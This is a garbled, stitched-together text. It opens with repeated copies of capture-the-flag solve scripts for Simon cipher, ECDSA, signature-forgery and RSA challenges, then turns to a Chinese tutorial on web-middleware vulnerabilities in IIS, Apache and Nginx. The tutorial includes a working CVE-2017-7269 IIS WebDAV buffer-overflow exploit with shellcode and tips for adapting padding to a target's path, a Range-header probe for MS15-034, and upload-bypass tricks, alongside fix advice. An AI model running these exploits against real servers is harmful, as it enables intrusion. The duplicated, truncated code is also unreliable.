map(hex,image[0xb7][0xf1]) print map(hex,image[0xef][0x20b]) print map(hex,image[0xcd][0x95]) print map(hex,image[0x24f][0x242]) print map(hex,image[0x167][0x34a]) print map(hex,image[0x7a][0x1fd]) print map(hex,image[0x28d][0x483]) print map(hex,image[0x35][0x222])''' from speck import SpeckCipher from simon import SimonCipher my_simon = SimonCipher(0xe060607060a06000606000102000000) my_plaintext = 0x31303938373635343332317b67616c66 simon_ciphertext = my_simon.encrypt(my_plaintext) print hex(simon_ciphertext) #print hex(my_simon.decrypt(simon_ciphertext)) my_plaintext = 0x6161616161616161616161 simon_ciphertext = my_simon.encrypt(my_plaintext) print hex(simon_ciphertext) simon_ciphertext=0x2e7ff95ecfe304903e39b69dbb085031 print hex(my_simon.decrypt(simon_ciphertext)) my_cipher='\x08\xec\x4a\x98\x65\x34\xd3\xd7\xd5\xd9\x7e\x4d\x01\xf5\xbf\x96' my_c=0x96bff5014d7ed9d5d7d33465984aec08 print hex(my_simon.decrypt(my_c)) my_c=0x26e105e5d76131d55e4c492b496ab27d print hex(my_simon.decrypt(my_c)) my_c=0x95e451362de3c4217a872de63fd57945 print hex(my_simon.decrypt(my_c)) my_c=0x52cc6ae7bb9ad14aa48feea18bf8b5b5 print hex(my_simon.decrypt(my_c)) my_c=0x1e4232ba92296dbb142e36f2c68cc63a print hex(my_simon.decrypt(my_c)) my_c=0xee84f579132c4058beabc443a36d6733 print hex(my_simon.decrypt(my_c)) my_c=0x5b2a61edc0862b924f91b71eff091380 print hex(my_simon.decrypt(my_c)) my_c=0x34339a815b13b10dd6d6198c1bb251c3 print hex(my_simon.decrypt(my_c)) #cfinal='\x08\xec\x4a\x98\x65\x34\xd3\xd7\xd5\xd9\x7e\x4d\x01\xf5\xbf\x96' f1=open('dump','rb') f2=open('myflag','wb') data=f1.read() count=0 my_c=0 for i in range(1,len(data)/8): tmp=(ord(data[i*8+7])<<56)+(ord(data[i*8+6])<<48)+(ord(data[i*8+5])<<40)+ (ord(data[i*8+4])<<32)+(ord(data[i*8+3])<<24)+(ord(data[i*8+2])<<16)+ (ord(data[i*8+1])<<8)+ord(data[i*8]) #print hex(tmp),ord(data[0]) if tmp==0: break a1=tmp/0x50e b1=tmp%0x50e list1=map(hex,image[a1][b1]) count+=1 for j in range(len(list1)): #print list1[j] int_listj=int(list1[j],16)&0xff my_c=(int_listj<<(j*8))+my_c #print hex(my_c),j if count == 1: my_count1=my_c if count == 2: my_count2=my_c if count == 3: my_count3=my_c if count == 4: my_count4=my_c #print hex(my_c),count my_c=0 if(count==4): my_c=(my_count4<<(3*32))+(my_count3<<(2*32))+(my_count2<<(32))+my_count1 plaint = my_simon.decrypt(my_c) #print hex(my_c),hex(plaint) #exit(0) for i1 in range(16): if i1 !=0: plaint=((plaint)>>(8)) data2=plaint&0xff f2.write('%s'%(chr(data2))) count=0 my_c=0 #0x50e*0x174+0x24e #0x50e*0x266+0x1a5 #from PIL import Image import cv2 import numpy '''im = Image.open("b.png") im_alpha = im.convert('RGBA') Pixels = list(im.getdata()) print map(hex,Pixels[0x50e*0x174+0x24e])''' ''' with open('pixels','wb') as f: for i in range(len(Pixels)): for j in range(len(Pixels[i])): f.write("%s"%chr(Pixels[i][j]))''' image = cv2.imread("b.png",cv2.IMREAD_UNCHANGED) RGBA = cv2.cvtColor(image,cv2.COLOR_BGRA2RGBA) image = numpy.ndarray.tolist(RGBA) '''print map(hex,image[0x1b6][0x2fe]) print map(hex,image[0x174][0x24e]) print map(hex,image[0x266][0x1a5]) print map(hex,image[0x1f9][0xe0]) print map(hex,image[0x260][0x212]) print map(hex,image[0x17][0x175]) print map(hex,image[0x18][0x259]) print map(hex,image[0x27][0x1b5]) print map(hex,image[0x2d7][0x18a]) print map(hex,image[0x255][0x173]) print map(hex,image[0x10a][0x4fb]) print map(hex,image[0x262][0x2ca]) print map(hex,image[0x124][0x3da]) print map(hex,image[0x191][0x43f]) print map(hex,image[0x100][0x1b2]) print map(hex,image[0xdc][0x18c]) print map(hex,image[0xe2][0x3cd]) print map(hex,image[0x280][0x75]) print map(hex,image[0x211][0x61]) print map(hex,image[0xa1][0x1b2]) print map(hex,image[0x221][0x363]) print map(hex,image[0x288][0x1a]) print map(hex,image[0x1f4][0x19]) print map(hex,image[0x1a][0x62]) print map(hex,image[0x3f][0x16c]) print map(hex,image[0xb7][0xf1]) print map(hex,image[0xef][0x20b]) print map(hex,image[0xcd][0x95]) print map(hex,image[0x24f][0x242]) print map(hex,image[0x167][0x34a]) print map(hex,image[0x7a][0x1fd]) print map(hex,image[0x28d][0x483]) print map(hex,image[0x35][0x222])''' from speck import SpeckCipher from simon import SimonCipher my_simon = SimonCipher(0xe060607060a06000606000102000000) my_plaintext = 0x31303938373635343332317b67616c66 simon_ciphertext = my_simon.encrypt(my_plaintext) print hex(simon_ciphertext) #print hex(my_simon.decrypt(simon_ciphertext)) my_plaintext = 0x6161616161616161616161 simon_ciphertext = my_simon.encrypt(my_plaintext) print hex(simon_ciphertext) simon_ciphertext=0x2e7ff95ecfe304903e39b69dbb085031 print hex(my_simon.decrypt(simon_ciphertext)) my_cipher='\\x08\\xec\\x4a\\x98\\x65\\x34\\xd3\\xd7\\xd5\\xd9\\x7e\\x4d\\x01\\ xf5\\xbf\\x96' my_c=0x96bff5014d7ed9d5d7d33465984aec08 print hex(my_simon.decrypt(my_c)) my_c=0x26e105e5d76131d55e4c492b496ab27d print hex(my_simon.decrypt(my_c)) my_c=0x95e451362de3c4217a872de63fd57945 print hex(my_simon.decrypt(my_c)) my_c=0x52cc6ae7bb9ad14aa48feea18bf8b5b5 print hex(my_simon.decrypt(my_c)) my_c=0x1e4232ba92296dbb142e36f2c68cc63a print hex(my_simon.decrypt(my_c)) my_c=0xee84f579132c4058beabc443a36d6733 print hex(my_simon.decrypt(my_c)) my_c=0x5b2a61edc0862b924f91b71eff091380 print hex(my_simon.decrypt(my_c)) my_c=0x34339a815b13b10dd6d6198c1bb251c3 print hex(my_simon.decrypt(my_c)) #cfinal='\\x08\\xec\\x4a\\x98\\x65\\x34\\xd3\\xd7\\xd5\\xd9\\x7e\\x4d\\x01\\xf 5\\xbf\\x96' f1=open('dump','rb') f2=open('myflag','wb') data=f1.read() count=0 my_c=0 for i in range(1,len(data)/8): tmp=(ord(data[i*8+7])<<56)+(ord(data[i*8+6])<<48)+(ord(data[i*8+5])<<40)+ (ord(data[i*8+4])<<32)+(ord(data[i*8+3])<<24)+(ord(data[i*8+2])<<16)+ (ord(data[i*8+1])<<8)+ord(data[i*8]) #print hex(tmp),ord(data[0]) if tmp==0: break a1=tmp/0x50e b1=tmp%0x50e list1=map(hex,image[a1][b1]) count+=1 for j in range(len(list1)): #print list1[j] int_listj=int(list1[j],16)&0xff my_c=(int_listj<<(j*8))+my_c #print hex(my_c),j if count == 1: my_count1=my_c if count == 2: my_count2=my_c if count == 3: my_count3=my_c if count == 4: my_count4=my_c #print hex(my_c),count my_c=0 if(count==4): my_c=(my_count4<<(3*32))+(my_count3<<(2*32))+(my_count2<<(32))+my_count1 plaint = my_simon.decrypt(my_c) #print hex(my_c),hex(plaint) #exit(0) for i1 in range(16): if i1 !=0: plaint=((plaint)>>(8)) data2=plaint&0xff f2.write('%s'%(chr(data2))) count=0 my_c=0 #0x50e*0x174+0x24e #0x50e*0x266+0x1a5 #from PIL import Image import cv2 import numpy '''im = Image.open("b.png") im_alpha = im.convert('RGBA') Pixels = list(im.getdata()) print map(hex,Pixels[0x50e*0x174+0x24e])''' ''' with open('pixels','wb') as f: for i in range(len(Pixels)): for j in range(len(Pixels[i])): f.write("%s"%chr(Pixels[i][j]))''' image = cv2.imread("b.png",cv2.IMREAD_UNCHANGED) RGBA = cv2.cvtColor(image,cv2.COLOR_BGRA2RGBA) image = numpy.ndarray.tolist(RGBA) '''print map(hex,image[0x1b6][0x2fe]) print map(hex,image[0x174][0x24e]) print map(hex,image[0x266][0x1a5]) print map(hex,image[0x1f9][0xe0]) print map(hex,image[0x260][0x212]) print map(hex,image[0x17][0x175]) print map(hex,image[0x18][0x259]) print map(hex,image[0x27][0x1b5]) print map(hex,image[0x2d7][0x18a]) print map(hex,image[0x255][0x173]) print map(hex,image[0x10a][0x4fb]) print map(hex,image[0x262][0x2ca]) print map(hex,image[0x124][0x3da]) print map(hex,image[0x191][0x43f]) print map(hex,image[0x100][0x1b2]) print map(hex,image[0xdc][0x18c]) print map(hex,image[0xe2][0x3cd]) print map(hex,image[0x280][0x75]) print map(hex,image[0x211][0x61]) print map(hex,image[0xa1][0x1b2]) print map(hex,image[0x221][0x363]) print map(hex,image[0x288][0x1a]) print map(hex,image[0x1f4][0x19]) print map(hex,image[0x1a][0x62]) print map(hex,image[0x3f][0x16c]) print map(hex,image[0xb7][0xf1]) print map(hex,image[0xef][0x20b]) print map(hex,image[0xcd][0x95]) print map(hex,image[0x24f][0x242]) print map(hex,image[0x167][0x34a]) print map(hex,image[0x7a][0x1fd]) print map(hex,image[0x28d][0x483]) print map(hex,image[0x35][0x222])''' from speck import SpeckCipher from simon import SimonCipher my_simon = SimonCipher(0xe060607060a06000606000102000000) my_plaintext = 0x31303938373635343332317b67616c66 simon_ciphertext = my_simon.encrypt(my_plaintext) print hex(simon_ciphertext) #print hex(my_simon.decrypt(simon_ciphertext)) my_plaintext = 0x6161616161616161616161 simon_ciphertext = my_simon.encrypt(my_plaintext) print hex(simon_ciphertext) simon_ciphertext=0x2e7ff95ecfe304903e39b69dbb085031 print hex(my_simon.decrypt(simon_ciphertext)) my_cipher='\\x08\\xec\\x4a\\x98\\x65\\x34\\xd3\\xd7\\xd5\\xd9\\x7e\\x4d\\x01\\ xf5\\xbf\\x96' my_c=0x96bff5014d7ed9d5d7d33465984aec08 print hex(my_simon.decrypt(my_c)) my_c=0x26e105e5d76131d55e4c492b496ab27d print hex(my_simon.decrypt(my_c)) my_c=0x95e451362de3c4217a872de63fd57945 print hex(my_simon.decrypt(my_c)) my_c=0x52cc6ae7bb9ad14aa48feea18bf8b5b5 print hex(my_simon.decrypt(my_c)) my_c=0x1e4232ba92296dbb142e36f2c68cc63a print hex(my_simon.decrypt(my_c)) my_c=0xee84f579132c4058beabc443a36d6733 print hex(my_simon.decrypt(my_c)) my_c=0x5b2a61edc0862b924f91b71eff091380 print hex(my_simon.decrypt(my_c)) my_c=0x34339a815b13b10dd6d6198c1bb251c3 print hex(my_simon.decrypt(my_c)) #cfinal='\\x08\\xec\\x4a\\x98\\x65\\x34\\xd3\\xd7\\xd5\\xd9\\x7e\\x4d\\x01\\xf 5\\xbf\\x96' myflagflag slime_war f1=open('dump','rb') f2=open('myflag','wb') data=f1.read() count=0 my_c=0 for i in range(1,len(data)/8): tmp=(ord(data[i*8+7])<<56)+(ord(data[i*8+6])<<48)+(ord(data[i*8+5])<<40)+ (ord(data[i*8+4])<<32)+(ord(data[i*8+3])<<24)+(ord(data[i*8+2])<<16)+ (ord(data[i*8+1])<<8)+ord(data[i*8]) #print hex(tmp),ord(data[0]) if tmp==0: break a1=tmp/0x50e b1=tmp%0x50e list1=map(hex,image[a1][b1]) count+=1 for j in range(len(list1)): #print list1[j] int_listj=int(list1[j],16)&0xff my_c=(int_listj<<(j*8))+my_c #print hex(my_c),j if count == 1: my_count1=my_c if count == 2: my_count2=my_c if count == 3: my_count3=my_c if count == 4: my_count4=my_c #print hex(my_c),count my_c=0 if(count==4): my_c=(my_count4<<(3*32))+(my_count3<<(2*32))+(my_count2<<(32))+my_count1 plaint = my_simon.decrypt(my_c) #print hex(my_c),hex(plaint) #exit(0) for i1 in range(16): if i1 !=0: plaint=((plaint)>>(8)) data2=plaint&0xff f2.write('%s'%(chr(data2))) count=0 my_c=0 #0x50e*0x174+0x24e #0x50e*0x266+0x1a5 data:0000000140010948 chanllenge dd ? 5 0x14001094 1 1400108B0 HP1400108F8 140010900 challenge1 0“”“” challenge2 999T challenge3 whosyourdaddy challenge4 666 md5 - == 666 challenge5 boss Crypto ecdsa #!/usr/bin/env python3 # -*- coding: utf-8 -*- import ecdsa import hashlib import binascii import gmpy2 import random import fuckpy3 m1 = '''bPzw{yS[VEYxU+"h0 4d;e9O-3$g&~I7Jak:oN6Dulim,B!f| <Z5FctLWj('Tr\p'''.encode() m2 = '''&J?8}w- rNIu!^<v0b~k6AxlEOS%="c+GL`Y[a3>gXD./4n59{Tept@1H*)VhszM#'''.encode() curve = ecdsa.curves.SECP256k1 G = curve.generator n = curve.order hexlify = binascii.hexlify Crypto_System def H(m): return int(binascii.hexlify(hashlib.sha1(m).digest()), 16) z1 = H(m1) z2 = H(m2) k = random.randint(1, n - 1) r = (G * k).x() d = (((-(z1 + z2)) % n) * gmpy2.invert((2 * r) % n, n)) % n sk = ecdsa.SigningKey.from_secret_exponent(d, curve, hashfunc=hashlib.sha1) vk = sk.get_verifying_key() assert (z1 + z2 + 2 * r * d) % n == 0 r0, s0 = ecdsa.util.sigdecode_string(sk.sign(m1, k=k), n) r1, s1 = ecdsa.util.sigdecode_string(sk.sign(m2, k=k), n) assert (-s1) % n == s0 pubkey = vk.to_string() sig = sk.sign(m1, k=k) print(pubkey.hex()) print(sig.hex()) from Crypto.Util.number import bytes_to_long, long_to_bytes, getStrongPrime, inverse import hashlib # These three are constants p = 120391024901285091259250190100000124235156172352191276491824701825701950182659 27223 g = 107290725793070521848483023224513321924562296190441811050630117415165581102167 20725 # random generation m1 = "test1" m2 = "test233" # r1 will be provided to player def int2str(data, mode="big"): if mode == "little": return sum([ord(data[_]) * 2 ** (8 * _) for _ in range(len(data))]) elif mode == "big": return sum([ord(data[::-1][_]) * 2 ** (8 * _) for _ in range(len(data))]) def get_parameter(m): x = int2str(m, 'little') y = pow(g, x, p) a = bytes_to_long(hashlib.sha256(long_to_bytes(y).rjust(128, "\0")).digest()) b = pow(a, a, p - 1) h = pow(g, b, p) return y, h, b def sign(m): y, h, b = get_parameter(m) r = getStrongPrime(512) s = (y * pow(h, r, p)) % p return str(r), str(s) def verify(m, r, s): y, h, b = get_parameter(m) if s == ((y * pow(h, r, p)) % p): return True else: return False r1 = 120203554876321718027404205710675447238128575213169321443393886173909394550655 10866693345497002537883410218871674302094523356279584779467726123589346500363 m1 = long_to_bytes( 0x504c2a762b563d706f6a66384a2f5c3b504921784d4a235b4433615a7d43525266712746724 a2d3779353c702228277a533a48474b5a22276f64277e7623252c) m2 = long_to_bytes( 0x7248216d77372c416f71782562366656253c603f4e6c236a703835353b7e5334795e203e796 867254c7b456e4a7c5c4d5a4f74403b6d7e342a4466503c444b6e) x1 = int2str(m1, 'little') y1 = pow(g, x1, p) a1 = bytes_to_long(hashlib.sha256(long_to_bytes(y1).rjust(128, "\0")).digest()) easyrsa b1 = pow(a1, a1, p - 1) # print(x, b) print(pow(g, x1+b1*r1, p)) x = int2str(m2, 'little') y = pow(g, x, p) a = bytes_to_long(hashlib.sha256(long_to_bytes(y).rjust(128, "\0")).digest()) b = pow(a, a, p - 1) print(x, b) t = (x1+b1*r1-x) % (p-1) tt = (t*inverse(b, p-1)) % (p-1) print(tt) print(pow(g, x+tt*b, p)) y, h, b = get_parameter(m1) s = (y * pow(h, r1, p)) % p print(r1, s) y, h, b = get_parameter(m2) r = tt s = (y * pow(h, r, p)) % p print(r, s) from Crypto.Util.number import * # from gmpy2 import * # from secret import * # assert(flag.startwith('flag{')) and (flag.endwith('}')) # assert(is_prime(beta) and len(bin(beta)[2:]) == 512) # assert(len(bin(x)[2:]) == len(bin(y)[2:])) # # This is tip!!! # assert(tip == 2*x*y*beta + x + y) # phiN = 4xybeta^2 # p = 2*x*beta + 1 # q = 2*y*beta + 1 # pq = 2xbeta+2ybeta + 4xybeta^2 + 1 # (n-1)/beta = x+y + 2xybeta # assert(is_prime(p) and is_prime(q)) # n = p*q # e = 65537 # m = bytes_to_long(flag) # enc = powmod(m,e,n) n = 179860522415181241525796987270055050885736707632937621103758362473556120110545 697173386767817722241863555408331361056411187893910026840132374640068609531741 902787182947748745909368238470405568797233687457458634995213815012819615349657 190631858611017063338632568555536915783810343022171635361376971463708698521803 883857320501775053069821964937994209540229128602627104972345290087655823798239 285573070387827936498268793166178650124339738992663225339551875940702155977007 826821867059648429474355121838086513295544998976447330969338005704310365897759 74437965028894251544530715336418443795864241340792616415926241778326529055663 e = 65537 enc = 107608074857182474668238933057670472505031973831432180268141417190937767814035 138810791145568905342238323521324464452375733892490108808624607384489450112649 282706483576525954320156464244274645234868562949985829491734597797648736646653 614374838612775087342087293669522213510495748738316207148896747551065452811747 973879067057654307643148458414904920388019266752667056064531638267556944825494 018432474821720267646357784846445477338770833685272551455727329542164613342179 631277836327029800644357187855560117958416510151435215123151483203344422359233 93757396733821710592667519724592789856065414299022191871582955584644441117223 beta = 118643892770427612169966416046757174528435305740166715766841806620965060945875 45173005905433938758559675517932481818900399893444422743930613073261450555599 tip = (n-1) // beta // 2 for i in range(1000): phi = (tip-(tip % (2*beta))-i*2*beta)*2*beta d = inverse(e, phi) if (pow(pow(2, e, n), d, n) == 2): print(i) print(long_to_bytes(pow(enc, d, n)))
pdf
Web中间件常见漏洞总结 ---by lyxhh IIS IIS是Internet Information Services的缩写,意为互联网信息服务,是由微软公司提供的基于运行Microsoft Windows的互联网基本服务。 IIS目前只适用于 目前只适用于Windows系统,不适用于其他操作系统。 系统,不适用于其他操作系统。 解析漏洞 解析漏洞 IIS 6.x 基于文件名 该版本 默认会将 *.asp;.jpg 此种格式的文件名,当成Asp解析,原理是 服务器默认不解析; 号及其后面的内容,相当于截断。 基于文件夹名 该版本 默认会将 *.asp/目录下的所有文件当成Asp解析。 另外,IIS6.x除了会将扩展名为.asp的文件解析为asp之外,还默认会将扩展名为.asa,.cdx,.cer解析为asp, 从网站属性->主目录->配置 可以看出,他们都是调用了asp.dll进行的解析。 修复建议 修复建议 由于微软并不认为这是一个漏洞,也没有推出IIS 6.0的补丁,因此漏洞需要自己修复。 1. 限制上传目录执行权限,不允许执行脚本。 2. 不允许新建目录。 3. 上传的文件需经过重命名(时间戳+随机数+.jpg等) IIS 7.x 安装IIS7.5, 1.控制面板 -> 程序 -> 打开或关闭windows功能。 2.下载php-5.2.6-win32-installer.msi 3.打开msi,一直下一步来到选择web server setup的界面,在这里选择IIS fastcgi,之后一直下一步。 4.打开IIS,管理工具 ->Internet 信息服务(IIS)管理器 5.选择编辑ISAPI或者CGI限制 添加安装的php-cgi.exe路径,描述随意。 6.返回第五步的第一个图片位置,点击处理程序映射,添加如下。 7.phpinfo测试 IIS7.x版本 在Fast-CGI运行模式下,在任意文件,例:test.jpg后面加上/.php,会将test.jpg 解析为php文件。 修复建议 修复建议 配置cgi.fix_pathinfo(php.ini中)为0并重启php-cgi程序 结果如下: PUT任意文件写入 任意文件写入 IIS Server 在 Web 服务扩展中开启了 WebDAV之后,支持多种请求,配合写入权限,可造成任意文件写入。 修复建议 修复建议 关闭WebDAV 和 写权限 IIS短文件漏洞 短文件漏洞 Windows 以 8.3 格式生成与 MS-DOS 兼容的(短)文件名,以允许基于 MS-DOS 或 16 位 Windows的程序访问这些文件。在cmd下输入"dir /x"即可看到短 文件名的效果。 IIS短文件名产生: 1.当后缀小于4时,短文件名产生需要文件(夹)名前缀字符长度大于等于9位。 2.当后缀大于等于4时,文件名前缀字符长度即使为1,也会产生短文件名。 目前IIS支持短文件名猜测的HTTP方法主要包括:DEBUG、OPTIONS、GET、POST、HEAD、TRACE六种。 IIS 8.0之后的版本只能通过OPTIONS和TRACE方法被猜测成功。 复现: IIS8.0以下版本需要开启ASP.NET支持,IIS大于等于8.0版本,即使没有安装ASP.NET,通过OPTIONS和TRACE方法也可以猜解成功。 以下通过开启IIS6.0 ASP.NET后进行复现。 当访问构造的某个存在的短文件名,会返回404; 当访问构造的某个不存在的短文件名,会返回400; IIS短文件漏洞局限性 1) 如果文件名本身太短也是无法猜解的; 2) 此漏洞只能确定前6个字符,如果后面的字符太长、包含特殊字符,很难猜解; 3) 如果文件名前6位带空格,8.3格式的短文件名会补进,和真实文件名不匹配; 4) 如果文件夹名前6位字符带点".",扫描程序会认为是文件而不是文件夹,最终出现误报; 5) 不支持中文文件名,包括中文文件和中文文件夹。一个中文相当于两个英文字符,故超过4个中文字会产生短文件名,但是IIS不支持中文猜测。 短文件利用工具下载 修复建议 修复建议 1)从CMD命令关闭NTFS 8.3文件格式的支持 Windows Server 2003: (1代表关闭,0代表开启) 关闭该功能:fsutil behavior set disable8dot3 1 Windows Server 2008 R2: 查询是否开启短文件名功能:fsutil 8dot3name query 关闭该功能:fsutil 8dot3name set 1 不同系统关闭命令稍有区别,该功能默认是开启的. 2)或从修改注册表关闭NTFS 8.3文件格式的支持 快捷键Win+R打开命令窗口,输入regedit打开注册表窗口 找到路径: HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\FileSystem,将其中的 NtfsDisable8dot3NameCreation这一项的值设为 1,1代表不创建短文件 名格式 以上两种方式修改完成后,均需要重启系统生效。 Note:此方法只能禁止NTFS8.3格式文件名创建,已经存在的文件的短文件名无法移除,需要重新复制才会消失。 例:将web文件夹的内容拷贝到另一个位置,如c:\www到c:\ww,然后删除原文件夹,再重命名c:\ww到c:\www。 HTTP.SYS远程代码执行 远程代码执行 (MS15-034) 影响范围: Windows 7、Windows Server 2008 R2、Windows 8、Windows Server 2012、Windows 8.1 和 Windows Server 2012 R2 复现: 在Windows7上 安装IIS7.5。 1.访问。 2.编辑请求头,增加Range: bytes=0-18446744073709551615字段,若返回码状态为416 Requested Range Not Satisfiable,则存在HTTP.SYS远程代码执 行漏洞 漏洞有点鸡肋,配合其他漏洞使用还是可以用用的,具体使用可转至MSF中。 修复建议 修复建议 安装修复补丁(KB3042553) RCE-CVE-2017-7269 Microsoft Windows Server 2003 R2中的Internet信息服务(IIS)6.0中的WebDAV服务中的ScStoragePathFromUrl函数中的缓冲区溢出允许远程攻击者通过 以"If:<http://"开头的长标头执行任意代码PROPFIND请求。 影响范围: 在Windows 2003 R2(Microsoft(R) Windows(R) Server 2003, Enterprise Edition Service Pack 2)上使用IIS 6.0并开启WebDAV扩展。 复现: CVE作者给出的exp 计算机弹弹弹!!! 用python2 运行,结果如下。 任务管理器开启了calc.exe进程,因为计算器是网络服务权限打开的,所以我们在桌面上看不见。 这个漏洞有几个需要注意的地方,如下。 由于作者提供的Exp执行之后就卡在那里了,因此不适合用弹计算机的shellcode进行测试,网上找了个dalao的回显shellcode来测试。 首先将上图中python2 IDE运行时产生的Raw类型的HTTP数据包copy保存至记事本中,然后在Burp Repeater模块 Paste from file。 将shellcode更换成如下: VVYA4444444444QATAXAZAPA3QADAZABARALAYAIAQAIAQAPA5AAAPAZ1AI1AIAIAJ11AIAIAXA58AAPAZABABQI1AIQIAIQI1111AIAJQI1AYAZBABABABAB30APB944JBRDDKLMN8KPM0KP4KOYM4CQJIOPKSKPKPTKLITKKQDKU0G0KPKPM00QQX 结果: CVE作者给出的Exp是在默认端口,默认域名,默认路径的情况下适用。 第一个需要注意的是端口和域名绑定问题: 当端口改变时,If头信息中的两个url端口要与站点端口一致,如下。 当域名改变时,If头信息中的两个url域名要与站点域名一致,且HOST头也要与站点域名一致。如下 不修改Host将返回502,如下 Note: 测试的时候凡是需要修改IIS配置的操作,修改完毕后都需要重启IIS, 或者在不超过禁用阈值的前提下结束w3wp进程。 第二个需要注意的是物理路径问题: CVE作者提供的Exp是在 默认路径长度等于19(包括结尾的反斜杠)的情况下适用,IIS默认路径一般为:c:\inetpub\wwwroot 解决方法: 当路径长度小于19时需要对padding进行添加。 当路径长度大于19时需要对padding进行删除。 ROP和stackpivot前面的padding实际上为UTF8编码的字符,每三个字节解码后变为两个字节的UTF16字符,在保证Exp不出错的情况下,有0x58个字符是 没用的。所以可以将前0x108个字节删除,换成0x58个a或b。 原exp 修改后如下: # coding:utf-8 import socket sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect(('192.168.124.129',8888)) pay='PROPFIND / HTTP/1.1\r\nHost: www.lxhsec.com\r\nContent-Length: 0\r\n' pay+='If: <http://www.lxhsec.com:8888/aaaaaaa' pay+='aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa' pay+='\xe6\xa9\xb7\xe4\x85\x84\xe3\x8c\xb4\xe6\x91\xb6\xe4\xb5\x86\xe5\x99\x94\xe4\x9d\xac\xe6\x95\x83\xe7\x98\xb2\xe7\x89\xb8\xe5\x9d\xa9\xe4\x8c\xb8\xe6\x89\xb2\xe5\xa8\xb0\xe5\xa4\xb8\ pay+='>' pay+=' (Not <locktoken:write1>) <http://www.lxhsec.com:8888/bbbbbbb' pay+='bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb' pay+='\xe5\xa9\x96\xe6\x89\x81\xe6\xb9\xb2\xe6\x98\xb1\xe5\xa5\x99\xe5\x90\xb3\xe3\x85\x82\xe5\xa1\xa5\xe5\xa5\x81\xe7\x85\x90\xe3\x80\xb6\xe5\x9d\xb7\xe4\x91\x97\xe5\x8d\xa1\xe1\x8f\x80\ shellcode='VVYA4444444444QATAXAZAPA3QADAZABARALAYAIAQAIAQAPA5AAAPAZ1AI1AIAIAJ11AIAIAXA58AAPAZABABQI1AIQIAIQI1111AIAJQI1AYAZBABABABAB30APB944JBRDDKLMN8KPM0KP4KOYM4CQJIOPKSKPKPTKLITKKQDKU0G pay+=shellcode pay+='>\r\n\r\n' print pay sock.send(pay) data = sock.recv(80960) print data sock.close 执行: 当路径长度小于19时,如下,需要增加12个a,b 而实际中路径常常大于19,需要对padding进行删除。 当路径为c:\www\的时候,a有107个,加起来有114个,除去盘符有111个字符,所以可以把Exp的padding增加至111,并逐次进行减少。当长度不匹配时返 回500,成功时返回200,通过爆破方式得到物理路径长度。 成功: 失败: 当然如果能得到物理路径,则用114减去物理路径长度(包括末尾的反斜杠)就是所需的padding长度。 第三个需要注意的是,超时问题。 当exp执行成功一段时间之后(大概十分钟到二十分钟左右,其间无论有无访问),再对这个站点执行exp永远不会成功,同时返回400。 解决方法: 1.等待w3wp重启。 2.测试旁站(因为每个池都是独立的w3wp进程,换一个可能在其他池的旁站进行尝试) 第四个需要注意的是,多次执行错误shellcode 多次执行错误的shellcode会覆盖很多不该覆盖的代码,从而导致正确的shellcode执行时也返回500, 提示信息为:参数不正确,也可能什么都不返回。 解决方法: 1.等待w3wp重启。 2.测试旁站(因为每个池都是独立的w3wp进程,换一个可能在其他池的旁站进行尝试) 修复建议 修复建议 关闭 WebDAV Apache Apache是世界使用排名第一的Web服务器软件。它可以运行在几乎所有广泛使用的计算机平台上,由于其跨平台和安全性被广泛使用,是最流行的Web服务 器端软件之一。它快速、可靠并且可通过简单的API扩充,将Perl/Python等解释器编译到服务器中。 解析漏洞 解析漏洞 未知扩展名解析漏洞 未知扩展名解析漏洞 Apache的解析漏洞依赖于一个特性: Apache默认一个文件可以有多个以点分割的后缀,当最右边的后缀无法识别(不在 默认一个文件可以有多个以点分割的后缀,当最右边的后缀无法识别(不在mime.types文件内),则 文件内),则 继续向左识别,直到识别到合法后缀才进行解析。 继续向左识别,直到识别到合法后缀才进行解析。 复现: 这里使用phpstudy进行复现。 下载地址: http://phpstudy.php.cn/phpstudy/phpStudy(PHP5.2).zip 访问phpinfo.php.xxx 实战中可以上传rar,owf等文件进行利用,如果上传phpinfo.php.jpg,即使文件名中有.php,也会直接解析为jpg。因为Apache认识.jpg,停止继续向左识别。 AddHandler导致的解析漏洞。 导致的解析漏洞。 如果运维人员给.php后缀增加了处理器: AddHandler application/x-httpd-php .php 那么,在有多个后缀的情况下,只要一个文件名中含有.php后缀,即被识别成PHP文件,没必要是最后一个后缀。 利用这个特性,将会造成一个可以绕过上传白名单的解析漏洞。 复现: 即使最右边的文件格式是在mime.types文件内,只要文件名中出现.php,就直接被解析为php。 Apache HTTPD 换行解析漏洞( 换行解析漏洞(CVE-2017-15715) ) 影响范围:2.4.0~2.4.29版本 环境:phpstudy2014 Apache + PHP5.4n 此漏洞形成的根本原因,在于$, 正则表达式中$不仅匹配字符串结尾位置,也可以匹配\n 或 \r 在解析PHP时,1.php\x0A将被按照PHP后缀进行解析,导致绕过一些服务器的安全策略。 <FilesMatch \.php$> SetHandler application/x-httpd-php </FilesMatch> 测试代码: <html> <body> <form action="" method="post" enctype="multipart/form-data"> <input type="file" name="file" /> <input type="text" name="name" /> <input type="submit" value="上传文件" /> </form> </body> </html> <?php if(isset($_FILES['file'])) { $name = basename($_POST['name']); $ext = pathinfo($name,PATHINFO_EXTENSION); if(in_array($ext, ['php', 'php3', 'php4', 'php5', 'phtml', 'pht'])) { exit('bad file'); } echo "ok"; move_uploaded_file($_FILES['file']['tmp_name'], './' . $name); } ?> 点击Go后,效果如下: 相同代码在Linux下进行测试,可以正常写入。 访问: 限制:获取文件名时不能用$_FILES['file']['name'],因为它会自动把换行去掉。 修复建议 修复建议 1. 升级到最新版本 2. 或将上传的文件重命名为为时间戳+随机数+.jpg的格式并禁用上传文件目录执行脚本权限。 Nginx Nginx是一款轻量级的Web 服务器/反向代理服务器及电子邮件(IMAP/POP3)代理服务器,在BSD-like 协议下发行。其特点是占有内存少,并发能力强,事 实上nginx的并发能力确实在同类型的网页服务器中表现较好, Nginx配置文件错误导致的解析漏洞 配置文件错误导致的解析漏洞 对于任意文件名,在后面添加/xxx.php(xxx为任意字符)后,即可将文件作为php解析。 例:info.jpg后面加上/xxx.php,会将info.jpg 以php解析。 这里使用phpstudy2014 ,Nginx + PHP5.3n进行复现(以下复现若无特别说明均采用此环境) 结果: 